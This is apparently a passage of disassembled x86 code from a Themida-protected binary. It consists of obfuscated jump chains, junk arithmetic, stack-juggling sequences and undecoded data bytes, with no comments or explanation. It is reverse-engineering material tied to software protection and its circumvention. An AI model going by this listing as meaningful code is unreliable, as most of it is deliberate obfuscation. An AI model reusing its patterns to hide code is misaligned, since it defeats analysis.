aUhK		db 'Uh~k',0
		align 4
aI4So		db '‰4$éO}',0
		align 4

loc_553CB4:				; CODE XREF: Themida_:00566703j
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5616AB
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0BCE9240Ch
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------

loc_553CCB:				; CODE XREF: Themida_:0055E654j
		sub	ebx, eax
		pop	eax
		add	ebx, ecx
		add	ebx, 0AB0798Ah
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 3526555Eh
		add	ebx, eax
		jmp	loc_55A98F
; ---------------------------------------------------------------------------
		dd 89240489h, 94BF57E0h, 4F761F70h, 7E45E9h, 0E9E88900h
		dd 819Bh
; ---------------------------------------------------------------------------

loc_553D04:				; CODE XREF: Themida_:00557D25j
		xor	al, dh
		mov	dx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_564BAF
; ---------------------------------------------------------------------------
		dw 9304h
		dd 33BE68h, 24148900h, 1517E9h,	0C3815B00h, 7499360Dh
		dd 0E89BA52h, 0E94A7234h, 1803h, 616ECB81h, 0F38142C6h
		dd 76D77B6Ah, 3913E950h, 0F6800000h, 0B450662Ch, 768E986h
		dd 0C2810000h, 4, 8704C283h, 815C2414h,	4C2h, 2C58E900h
		dd 0E9510001h, 0BCDDh, 0F64FB753h, 9DF780D7h, 805BFA30h
		dd 0C2FE01C2h, 81E28952h, 4C2h,	4EA8100h, 0E9000000h, 45E1h
		dd 534FBFBDh, 0C0E58149h, 814BB832h, 0B48F1F5h,	808E94Eh
		dd 348B0001h, 4C48324h,	81E18951h, 4C1h, 9991E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553DBE:				; CODE XREF: Themida_:00557EABj
		xor	ebx, esi
		not	esi
		xor	ebx, esi
		xor	esi, ebx
		xor	ebx, esi
		xor	ecx, ebx
		jmp	loc_557BE5
; ---------------------------------------------------------------------------

loc_553DCF:				; CODE XREF: Themida_:0055ACC4j
		mov	[esp], edx
		jmp	loc_554469
; ---------------------------------------------------------------------------

loc_553DD7:				; CODE XREF: Themida_:0055D7C3j
					; Themida_:0055E55Cj ...
		mov	ebx, [esp]
		push	5D47h
		mov	[esp], edi
		push	esp
		pop	edi
		push	edx
		jmp	loc_55E861
; ---------------------------------------------------------------------------
		dw 0C501h
		dd 2D60ED81h, 92E91C8Eh, 1000000h, 241C8BDAh, 8104C483h
		dd 4C2h, 24148700h, 24048F5Ch, 0E924248Bh, 7C51h
; ---------------------------------------------------------------------------

loc_553E14:				; CODE XREF: Themida_:005588DDj
		pop	ecx
		jmp	loc_565A2E
; ---------------------------------------------------------------------------
		dw 8956h
		dd 5EF389D6h, 41BA525Ah, 31644002h, 0EB815AD3h,	5118D1B4h
		dd 41AE9h
		db 0
; ---------------------------------------------------------------------------

loc_553E35:				; CODE XREF: Themida_:00558BFBj
		mov	edi, 57D20C84h
		inc	edi
		not	edi
		inc	edi
		sub	edi, 52FF0403h
		jmp	loc_5608DC
; ---------------------------------------------------------------------------

loc_553E49:				; CODE XREF: Themida_:0056054Aj
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_561A4A
; ---------------------------------------------------------------------------
		dd 0E9240C33h, 4F0h
; ---------------------------------------------------------------------------

loc_553E60:				; CODE XREF: Themida_:00555A7Aj
		and	ebp, 3DD67ACFh
		shr	ebp, 6
		sub	ebp, 409124EDh
		xor	ebp, 0BD9D0E08h
		push	ebx
		mov	ebx, ebp
		mov	edi, ebx
		pop	ebx
		pop	ebp
		jmp	loc_564A78
; ---------------------------------------------------------------------------

loc_553E81:				; CODE XREF: Themida_:00562698j
		mov	eax, [esp]
		jmp	loc_55A12C
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 25h
		dd 51549014h, 7108DAB9h, 0CEED8150h, 2940C329h,	0CEC581CDh
		dd 0E940C329h, 7919h, 0E95EF501h, 0FEC6h, 3FA868h, 242C8900h
		dd 73B668h, 243C8900h, 13A02E9h, 48920500h, 0D8296CB1h
		dd 12148E9h
		db 0
; ---------------------------------------------------------------------------

loc_553ED1:				; CODE XREF: Themida_:00567F1Aj
		mov	ebx, 275051DEh
		sub	eax, ebx
		pop	ebx
		add	eax, 4A4E4AF8h
		sub	eax, ebp
		sub	eax, 4A4E4AF8h
		add	eax, 275051DEh
		pop	ebp
		add	ecx, 3DE41AC2h
		add	ecx, eax
		jmp	loc_55A2C9
; ---------------------------------------------------------------------------

loc_553EF8:				; CODE XREF: Themida_:005550C1j
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esi
		push	51F5385Dh
		pop	esi
		mov	ebx, 0A355411Ch
		sub	ebx, 2AB75FECh
		sub	ebx, esi
		add	ebx, 2AB75FECh
		pop	esi
		push	edi
		push	edx
		jmp	loc_563616
; ---------------------------------------------------------------------------
		dd 14685153h, 89000065h, 0A9B7241Ch, 0FD309BB5h, 5E5C05Bh
		dd 803EE580h, 2BE957CDh, 0BD000107h, 68F000FAh,	2C8BEA09h
		dd 2198E924h, 0C3800001h, 6271E937h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553F5E:				; CODE XREF: Themida_:0055CE38j
		mov	ebx, [esp]
		add	esp, 4

loc_553F67:				; CODE XREF: Themida_:0056326Cj
		push	ebx
		push	edx
		mov	edx, 1DF45BF0h
		xor	[esp+4], edx
		jmp	loc_568D17
; ---------------------------------------------------------------------------

loc_553F77:				; CODE XREF: Themida_:005545CFj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		push	ecx
		jmp	loc_557918
; ---------------------------------------------------------------------------

loc_553F85:				; CODE XREF: Themida_:00553BE6j
		add	esp, 4
		jmp	loc_566D98
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 83000000h, 348904ECh, 4BE24h, 0F1010000h, 0E924348Bh
		dd 0FD35h, 81E18951h, 4C1h, 4EC8100h, 89000000h, 23BA2414h
		dd 816F6035h, 0A05E3DEAh, 1BE28116h, 81751F3Eh,	4E5A13C2h
		dd 5992E960h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553FD6:				; CODE XREF: Themida_:00561115j
		dec	edx
		push	eax
		push	ebx
		jmp	loc_560D23
; ---------------------------------------------------------------------------

loc_553FDE:				; CODE XREF: Themida_:0055AF54j
		push	ecx
		mov	ecx, 16E01C38h
		sub	edx, ecx
		pop	ecx
		add	edx, edi
		add	edx, 16E01C38h
		push	ebx
		push	edi
		push	7E486273h
		mov	edi, [esp]
		add	esp, 4
		add	edi, 0D3A2E16Bh
		jmp	loc_55D2C4
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0D8E95004h, 580000E0h, 13E9C300h, 810000B1h,	637137E9h
		dd 8FE98110h, 17E670Ch,	0AC50E9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55402E:				; CODE XREF: Themida_:0055AD6Aj
		push	esp
		jmp	loc_563715
; ---------------------------------------------------------------------------
		dd 240C8B66h, 19766857h, 24890000h, 24048124h, 4, 3436E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55404E:				; CODE XREF: Themida_:00567D8Cj
		mov	esp, [esp]
		push	edi
		mov	edi, 510138B2h
		push	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 535F57B8h
		mov	ebp, 89B6BFA4h
		sub	ebp, ebx
		pop	ebx
		push	ebx
		jmp	loc_565434
; ---------------------------------------------------------------------------
a_s		db '_éšÄ',0
		db 0
; ---------------------------------------------------------------------------

loc_554077:				; CODE XREF: Themida_:00562571j
		add	ecx, ebx
		jmp	loc_555FA8
; ---------------------------------------------------------------------------
		dw 1C33h
aS0		db '$é0Ê',0
		align 2

loc_554086:				; CODE XREF: Themida_:0056884Dj
		sub	[esp+4], esi
		add	dword ptr [esp+4], 17144022h
		pop	esi
		jmp	loc_56007A
; ---------------------------------------------------------------------------
		dd 0F8005966h, 17D7E95Bh
		db 1, 0
; ---------------------------------------------------------------------------

loc_5540A2:				; CODE XREF: Themida_:005650B2j
		pop	dword ptr [eax]
		jmp	loc_55FABD
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0DB46h
; ---------------------------------------------------------------------------

loc_5540B4:				; CODE XREF: Themida_:00555A29j
		add	dword ptr [esp], 50F753A7h
		pop	eax
		sub	eax, 50F753A7h
		pop	esi
		push	esi
		push	ebp
		mov	ebp, 238C77B0h
		mov	esi, ebp
		pop	ebp
		add	esi, 478744E0h
		shl	esi, 8
		xor	esi, 4C7F8B58h
		or	eax, esi
		pop	esi
		inc	eax
		jmp	loc_561844
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0F7A0h, 4C281h, 4EE90000h, 830000CAh, 0E95304C4h
		dd 0EF82h, 87243C31h, 57D6F7F7h, 315E5F56h, 3C33243Ch
		dd 243C3124h, 8B2434FFh, 8956241Ch, 4C681E6h, 0E9000000h
		dd 1B76h
; ---------------------------------------------------------------------------

loc_554128:				; CODE XREF: Themida_:00553A6Ej
		add	bh, 43h
		sub	ch, bh
		pop	ebx
		add	dh, ch
		pop	cx
		push	small 0
		sub	[esp], dh
		mov	dh, [esp]
		add	esp, 2
		sub	dh, 0FFh
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	al, 77h
		push	edx
		mov	dh, al
		jmp	loc_555BF6
; ---------------------------------------------------------------------------
		dw 0C783h
		dd 243C3304h, 33243C31h, 8F5C243Ch, 248B2404h, 0CD36624h
		dd 32E99C24h, 52FFFFEFh, 4BEA68h, 240C8900h, 6E68B966h
		dd 6EF18166h, 9647E93Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55418A:				; CODE XREF: Themida_:00567C0Cj
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		add	edi, 2
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	7377h
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		push	ebx
		jmp	loc_566509
; ---------------------------------------------------------------------------
		db 55h
		dd 0DD2D1EBDh, 0F5814D51h, 51DD2D19h, 697CBB53h, 0DE010ED7h
		dd 0D65DE9h, 0C8B6600h,	0E9545524h, 95C1h
; ---------------------------------------------------------------------------

loc_5541E4:				; CODE XREF: Themida_:00555A6Fj
		pop	ebx
		push	edi
		mov	edi, 4
		add	ebx, 700C0375h
		add	ebx, edi
		jmp	loc_561217
; ---------------------------------------------------------------------------
		dd 8AFEE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5541FE:				; CODE XREF: Themida_:00559F8Fj
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_553AC1
; ---------------------------------------------------------------------------
		dw 5368h
		dd 0E900002Fh, 8DD3h, 0E95FFD31h, 0B001h
; ---------------------------------------------------------------------------

loc_55421C:				; CODE XREF: Themida_:0056652Cj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 4F4B0144h
		neg	esi
		shl	esi, 2
		neg	esi
		push	esi
		push	6262h
		mov	[esp], ecx
		pop	esi
		pop	ecx
		not	ecx
		jmp	loc_55A8E9
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0FBh
aZ7plSv		db 'z7P‹,$邼',0
		dw 5100h
		dd 0A802CFB9h, 59CB311Bh, 14AB4E9h, 4C38100h, 68000000h
		dd 25EFh, 0E9241C89h, 10234h, 240C8B66h, 1240EE9h, 66685500h
		dd 5D1A9B19h, 0C104EDC1h, 0E1E905EDh
		db 15h,	1, 0
; ---------------------------------------------------------------------------

loc_55428B:				; CODE XREF: Themida_:00553B81j
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		shl	ecx, 1
		not	ecx
		push	ebp
		push	esi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_559B0B
; ---------------------------------------------------------------------------
		dd 0F8C380h, 0F8EB80D3h, 221E68h, 24048900h, 0D0F657B0h
		dd 1CE95366h, 0C10000B7h, 7FE903EEh, 29000042h,	24348BF7h
		dd 4C481h, 0F9010000h, 81243C8Bh, 4C4h,	68515200h, 40D7h
		dd 0BB241C89h, 2, 555BD989h, 0F32BE9h, 0EC815F00h, 4, 0BE243489h
		dd 44C262E8h, 75E2E9h, 88C68800h, 0F4CFE9F3h, 685A0000h
		dd 5189h, 0B4240489h, 0C1C4803Eh, 7507E9h, 0AEE95C00h
		dd 8F000126h, 248B2404h, 0E1E924h, 34FF0001h, 243C8B24h
		dd 1201FE9h, 81FA0100h,	5B4861EAh, 0E9515F10h, 36F8h, 6624248Bh
		dd 2404B30Fh, 0ED47E99Ch, 0EA81FFFFh, 453871D1h, 31F0BD55h
		dd 0FBE970F6h, 83000075h, 48704C0h, 2AE95C24h, 89FFFFEDh
		dd 22ECE9E3h, 0D3F70000h, 7E3C14Bh, 5606EBC1h, 0C36DB4BEh
		dd 3E6C150h, 0EE81D6F7h, 782F6CE6h, 45E9F301h, 810000BDh
		dd 0F774A5F3h, 3EBC138h, 102A2E9h, 24543100h, 24148B04h
		dd 0E904C483h, 9A80h, 660A68h, 0F7CE900h, 3C890001h, 4BB5324h
		dd 89000000h, 241C8BDFh, 0E904C483h, 0E71Fh, 66A568h, 24148900h
		dd 9A75E9h
		db 0
; ---------------------------------------------------------------------------

loc_5543ED:				; CODE XREF: Themida_:00558C1Ej
		pop	esp
		push	edi
		jmp	loc_567E01
; ---------------------------------------------------------------------------

loc_5543F4:				; CODE XREF: Themida_:005581C9j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_55B192
; ---------------------------------------------------------------------------

loc_554416:				; CODE XREF: Themida_:00564810j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		sub	ecx, 4EA77778h
		add	ecx, edi
		jmp	loc_562AA7
; ---------------------------------------------------------------------------

loc_554430:				; CODE XREF: Themida_:00560A7Aj
		pop	ecx
		jmp	loc_557044
; ---------------------------------------------------------------------------

loc_554436:				; CODE XREF: Themida_:0055747Fj
		pop	edx
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 7E1106D8h
		jmp	loc_55FA42
; ---------------------------------------------------------------------------
		dw 575Ah
		dd 114FCE9h, 0C586800h,	34890000h, 1BA5BE24h, 0C6817B4Fh
		dd 9FE1075h, 0E1ECE9h
		db 0
; ---------------------------------------------------------------------------

loc_554469:				; CODE XREF: Themida_:00553DD2j
		mov	edx, 4
		jmp	loc_55B545
; ---------------------------------------------------------------------------
		db 29h
		dd 3C875DEFh, 4895C24h,	1C4F6824h, 8BE90000h, 830000B7h
		dd 0E946FFEEh, 0B9B5h
; ---------------------------------------------------------------------------

loc_554490:				; CODE XREF: Themida_:00562500j
		mov	esi, ebp
		pop	ebp
		push	edx
		mov	edx, 4C7D4BC4h
		jmp	loc_556105
; ---------------------------------------------------------------------------

loc_55449E:				; CODE XREF: Themida_:0055BB21j
		push	edi
		jmp	loc_567B1D
; ---------------------------------------------------------------------------
		dd 8324048Bh, 10404C4h,	0D1E9E504h, 0B6000111h,	247BE95Dh
		dd 0E3280000h, 0F3285866h, 8087B551h, 0F651A1F5h, 5901245Ch
		dd 5CF580h, 148B59EBh, 4C48124h, 50000000h, 0EC8016B4h
		dd 2E4C08Ch, 800DC480h,	0EEE9D0CCh, 8B000045h, 0E957241Ch
		dd 12B4Eh
; ---------------------------------------------------------------------------

loc_5544F8:				; CODE XREF: Themida_:0055EADEj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55A476
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 4EC8324h, 0FFF2EFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554511:				; CODE XREF: Themida_:0056279Bj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	4636h
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_56105F
; ---------------------------------------------------------------------------

loc_55452C:				; CODE XREF: Themida_:0055C1E9j
		jmp	loc_5530A5
; ---------------------------------------------------------------------------
		db 1, 0D8h, 5Bh
		dd 405h, 24043300h, 0E289E9h, 9AF78000h, 0C05BFC30h, 1DE902E4h
		db 0C1h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55454F:				; CODE XREF: Themida_:005654EDj
		pop	esi
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		sub	ecx, 0FFFFFFFFh
		shl	ecx, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 450AAB20h
		add	ecx, ebp
		pop	ebp
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55FA6D
; ---------------------------------------------------------------------------

loc_554588:				; CODE XREF: Themida_:0055B7BCj
		push	esi
		pop	ecx
		push	dword ptr [esp]
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_56480A
; ---------------------------------------------------------------------------

loc_55459D:				; CODE XREF: Themida_:0055935Fj
		mov	[esp], edx
		pop	ebp
		push	ebp
		jmp	loc_553511
; ---------------------------------------------------------------------------

loc_5545A7:				; CODE XREF: Themida_:0055E319j
		mov	edx, 38A71C18h
		sub	ecx, edx
		pop	edx
		sub	esi, ecx
		jmp	loc_55A259
; ---------------------------------------------------------------------------
		dw 45Ch
		dd 1237E911h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5545BE:				; CODE XREF: Themida_:00565258j
		pop	ebx
		add	edi, edx
		sub	edi, 576B7231h
		pop	edx
		add	edi, 4
		push	edi
		jmp	loc_553F77
; ---------------------------------------------------------------------------

loc_5545D4:				; CODE XREF: Themida_:0055D74Aj
		pop	ebx
		jmp	loc_566FA8
; ---------------------------------------------------------------------------
		dw 0E940h
		dd 11D68h, 16D868h, 59C5E900h, 48F0000h, 24248B24h, 24043166h
		dd 0EAABE99Ch, 0EE83FFFFh, 0EE31E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554602:				; CODE XREF: Themida_:005587E8j
		mov	[esp], ecx
		push	edi
		mov	edi, 63C9402Ah
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		neg	ecx
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 76C9506Dh
		not	eax
		neg	eax
		dec	eax
		or	eax, 24F16855h
		and	eax, 3AF943D5h
		xor	eax, 32F94051h
		add	ebx, eax
		pop	eax
		jmp	loc_554959
; ---------------------------------------------------------------------------
		dw 0D5F7h
		dd 53256857h, 45E93AB1h, 68000017h, 464Bh, 0BB241C89h
		dd 499948CAh, 11BFAE9h,	2EEC100h, 8904EC83h, 66B82404h
		dd 56C8C5Fh, 9B4475A5h,	0E958C631h, 0B99h
; ---------------------------------------------------------------------------

loc_554674:				; CODE XREF: Themida_:00566BB6j
		and	edx, 774F4FBEh
		push	eax
		mov	eax, 12C914EEh
		xor	edx, eax
		jmp	loc_55E2B8
; ---------------------------------------------------------------------------
		db 83h
		dd 535004C4h, 0EF80AEB7h, 6E7C001h, 80AEC780h, 88523DC7h
		dd 5AD488FAh, 0E953525Bh, 0A225h, 0C381E389h, 4, 0E904EB83h
		dd 0FFFFF9C6h, 0E419DCBEh, 0F9A8E97Fh, 0E8C10000h, 2E0C107h
		dd 8320A135h, 0E9C3314Bh, 0F80h, 0A127E951h, 0B9510000h
		dd 4506BCFh, 28D1BF57h,	7C015B00h, 61E90C24h
		db 0F3h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5546EF:				; CODE XREF: Themida_:0055E160j
		push	ebx
		mov	ebx, 4
		add	ebp, 68D75F78h
		add	ebp, ebx
		push	eax
		jmp	loc_567104
; ---------------------------------------------------------------------------

loc_554703:				; CODE XREF: Themida_:00554F67j
		mov	esi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 3EA31C3Ah
		xor	esi, eax
		jmp	loc_55C943
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8324348Bh, 0C48104C4h, 4, 8904EC83h,	3FE92404h, 5F000052h
		dd 0BD55D6F7h, 12746E9Fh, 2C8BEE21h, 4C48124h, 81000000h
		dd 0D51BCDC6h, 5EF78979h, 0CCE6E9h, 4B900h, 0CA010000h
		dd 4C28359h, 5C241487h,	126C8E9h, 0E9D50100h, 0D58Eh, 0CFEA8166h
		dd 0F281661Dh, 8166FA39h, 665148EBh, 8166D329h,	5A5148C3h
		dd 66D3F766h, 5202E3C1h, 1A95E9h, 30596600h, 3E95AD0h
		db 32h,	1, 0
; ---------------------------------------------------------------------------

loc_5547A7:				; CODE XREF: Themida_:00567973j
		shr	edi, 1
		push	ebp
		mov	ebp, 0F1C03D2Ch
		sub	edi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, edi
		push	edx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_560145
; ---------------------------------------------------------------------------

loc_5547CC:				; CODE XREF: Themida_:00559472j
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_5573EA
; ---------------------------------------------------------------------------

loc_5547DA:				; CODE XREF: Themida_:00558D10j
		mov	ebp, 548766Dh
		sub	esp, 4
		mov	[esp], ebp
		pop	ecx
		jmp	loc_567EED
; ---------------------------------------------------------------------------
		dw 1C87h
aS39		db '$\é39',0
		dw 6400h
		dd 0A6E932FFh, 8BFFFFE8h, 0C4812404h, 4, 5DEB0166h, 66C0B70Fh
		dd 66485168h, 0E9240489h, 0FFFFE889h, 6B566FB8h, 5BBBBE40h
		dd 0C631329Dh, 0E3A0E9h
		db 0
; ---------------------------------------------------------------------------

loc_55482D:				; CODE XREF: Themida_:005571A3j
		push	eax
		mov	eax, ecx
		mov	edi, eax
		pop	eax
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0CA4467Eh
		and	edi, ebx
		pop	ebx
		xor	edi, 4A4A1405h
		inc	edi
		add	edi, 0C3F28FAh
		or	esi, edi
		mov	edi, [esp]
		add	esp, 4
		xor	esi, 53E93F43h
		jmp	loc_5577AF
; ---------------------------------------------------------------------------

loc_554868:				; CODE XREF: Themida_:00566966j
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_5652C8
; ---------------------------------------------------------------------------

loc_554882:				; CODE XREF: Themida_:00561CBDj
		xor	[esp], edx
		jmp	loc_5653D3
; ---------------------------------------------------------------------------
		dw 0C159h
		dd 0C08306E0h, 639F0D01h, 65053089h, 81803218h,	906C2DEEh
		dd 4EC8123h, 89000000h,	0BF57242Ch, 0E7C5906h, 0E9505752h
		dd 0CA72h
; ---------------------------------------------------------------------------

loc_5548B8:				; CODE XREF: Themida_:00561F2Ej
		push	ebx
		mov	ebx, 5E283B92h
		push	edx
		mov	edx, 112367F3h
		xor	ebx, edx
		pop	edx
		jmp	loc_563375
; ---------------------------------------------------------------------------
		dd 0FFE7D4E9h, 28F64FFh, 0FFE7CCE9h, 4EC81FFh, 89000000h
		dd 6868240Ch, 0E908C211h, 10398h
; ---------------------------------------------------------------------------

loc_5548EC:				; CODE XREF: Themida_:00558370j
		sub	esi, edx
		pop	edx
		add	ebx, esi
		jmp	loc_565C34
; ---------------------------------------------------------------------------
aZs_0		db 'ZéÙÁ',0
		align 4
		dd 59DDBB53h, 0FAE9079Ah, 81000090h, 35C4242Ch,	90E92BC0h
		dd 5C00010Dh, 8950E9h, 17D62D00h, 0E8017993h, 9317D605h
		dd 0FABB5379h, 0C1327D20h, 0EB8104E3h, 1845622Bh, 6834C381h
		dd 0E3813CFEh, 731C0849h, 0D207E9h, 0CDBA5200h,	81437708h
		dd 94A084EAh, 5AD609D5h, 6C50E9h
		db 0
; ---------------------------------------------------------------------------

loc_554959:				; CODE XREF: Themida_:00554635j
		push	edx
		mov	edx, 4
		sub	ebx, edx
		pop	edx
		jmp	loc_55B64A
; ---------------------------------------------------------------------------
		db 81h
		dd 7108DAC5h, 25ED8150h, 81549014h, 8E2D60C5h, 0F46CE91Ch
		dd 6850FFFFh, 0CE2h, 68241489h,	3B330ECAh, 32A9E95Ah, 535F0001h
		dd 0C381E389h, 4, 5350BD55h, 0ED816DDEh, 6DDE534Ch, 2C8BEB01h
		dd 4C48124h, 0E9000000h, 11DE6h, 6804C483h, 2C8Eh, 57241C89h
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	34FF2404h, 2434FF24h
		dd 53241C8Bh, 0C381E389h, 4, 0C09AE9h
		db 0
; ---------------------------------------------------------------------------

loc_5549ED:				; CODE XREF: Themida_:0055D1D7j
		xchg	edx, [esp]
		pop	esp
		push	esi
		jmp	loc_557B5A
; ---------------------------------------------------------------------------
		db 28h
		dd 48B66E1h, 2C48124h, 0F6000000h, 0B05066D9h, 66C12801h
		dd 8324048Bh, 0E98002C4h, 0FFC82007h, 0E9592434h, 0FFFFFF98h
		dd 0D70780BDh, 0BAF58140h, 0E92BB274h, 478Fh, 582434FFh
		dd 4C481h, 66E90000h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554A3F:				; CODE XREF: Themida_:005647A6j
		mov	edi, 3FE112ABh
		add	ebp, 599A6F55h
		jmp	loc_55E41C
; ---------------------------------------------------------------------------

loc_554A4F:				; CODE XREF: Themida_:0055C0D8j
		push	esi
		jmp	loc_567A66
; ---------------------------------------------------------------------------

loc_554A55:				; CODE XREF: Themida_:00560CB4j
		mov	ebx, [esp]
		jmp	loc_566083
; ---------------------------------------------------------------------------
		db 0B4h, 0D8h, 0E9h
		dd 3AEh, 0F5E9565Ch
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_554A6B:				; CODE XREF: Themida_:00557798j
		push	1484h
		mov	[esp], ebp
		push	1627h
		push	esp
		jmp	loc_5617EC
; ---------------------------------------------------------------------------
		dw 8468h
		dd 89000036h, 0E953243Ch, 8302h, 8124148Bh, 4C4h, 0A8C68100h
		dd 0E97F2618h, 4D96h, 6804C483h, 332Bh,	0E9243489h, 0A993h
		dd 4461E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554AB6:				; CODE XREF: Themida_:00554F50j
		add	bl, 3Eh
		jmp	loc_559992
; ---------------------------------------------------------------------------

loc_554ABE:				; CODE XREF: Themida_:00558F48j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 9772356h
		add	edx, 4874201Ah
		add	edx, eax
		jmp	loc_55B6C5
; ---------------------------------------------------------------------------
		db 31h,	0Ch, 24h
		dd 8B240C33h, 4892424h,	4B95124h, 51000000h, 5A8AE9h, 9B4F0500h
		dd 0C52996B8h, 5DE90158h, 75E95250h, 25000111h,	26241E0Ch
		dd 75E1E9h, 0E9545600h,	3693h
; ---------------------------------------------------------------------------

loc_554B14:				; CODE XREF: Themida_:0055B5C0j
		pop	ecx
		add	ecx, 7FC94FE8h
		xor	ecx, 4B8B779Bh
		push	edx
		mov	edx, 6DFB6B66h
		neg	edx
		xor	edx, 64686787h
		not	edx
		add	edx, 1FB2107Bh
		xor	ecx, edx
		pop	edx
		shr	ecx, 8
		push	158Dh
		mov	[esp], edi
		mov	edi, 1C5C43h
		push	esi
		mov	esi, 4B7900C3h
		jmp	loc_5663A5
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_560130
; ---------------------------------------------------------------------------

loc_554B5D:				; CODE XREF: Themida_:0056565Fj
		pop	esi
		push	dword ptr [esp]
		jmp	loc_556972
; ---------------------------------------------------------------------------

loc_554B66:				; CODE XREF: Themida_:0055C2E4j
		shr	edx, 8
		jmp	loc_555D35
; ---------------------------------------------------------------------------
		dw 0E9C1h
dword_554B70	dd 391DE906h, 585A0000h, 524CE9h, 14875D00h, 9BE95C24h
		dd 81000005h, 4C4h, 5A21E900h, 0EC810000h, 4, 89241489h
		dd 4C281E2h, 81000000h,	4C2h, 92AAE900h, 14330000h, 95685C24h
		dd 89000070h, 0F768240Ch, 89000030h, 0E9542404h, 90A6h
		dd 0E9242C33h, 0FFFFE871h, 8704EB83h, 895C241Ch, 55E9243Ch
		dd 520000CEh, 0E90AD5BAh, 7EF28108h, 4240120Dh,	7C9AF281h
		dd 0D72932DFh, 242C8B5Ah, 5E04C483h, 970E9h, 5166AC00h
		dd 0C8287AB1h, 704BE9h,	4EC8300h, 8EADE9h
		db 0
; ---------------------------------------------------------------------------

loc_554C15:				; CODE XREF: Themida_:00565F24j
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_55A692
; ---------------------------------------------------------------------------
		db 89h
		dd 405E0h, 0BB530000h, 4, 1C8BD801h, 4C48324h, 2474FF50h
		dd 99E95804h, 8100002Eh, 85504CF5h, 0BDE981E1h,	8160F917h
		dd 96470AE9h, 81E90145h, 96470AC1h, 0BDC18145h,	8B60F917h
		dd 99E9242Ch, 810000A8h, 4C2h, 4EA8100h, 0E9000000h, 5951h
		dd 0BB53E789h, 4, 0FD92E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554C8E:				; CODE XREF: Themida_:0055C54Bj
		push	edx
		sub	esp, 4
		jmp	loc_55AF14
; ---------------------------------------------------------------------------
aACYaSCausxsat	db '€Á—(ÌY€Æé(æ€îéXé ’',0
		dw 3500h
		dd 514D2992h, 5D2434FFh, 76A368h, 0B9BAE900h, 895C0000h
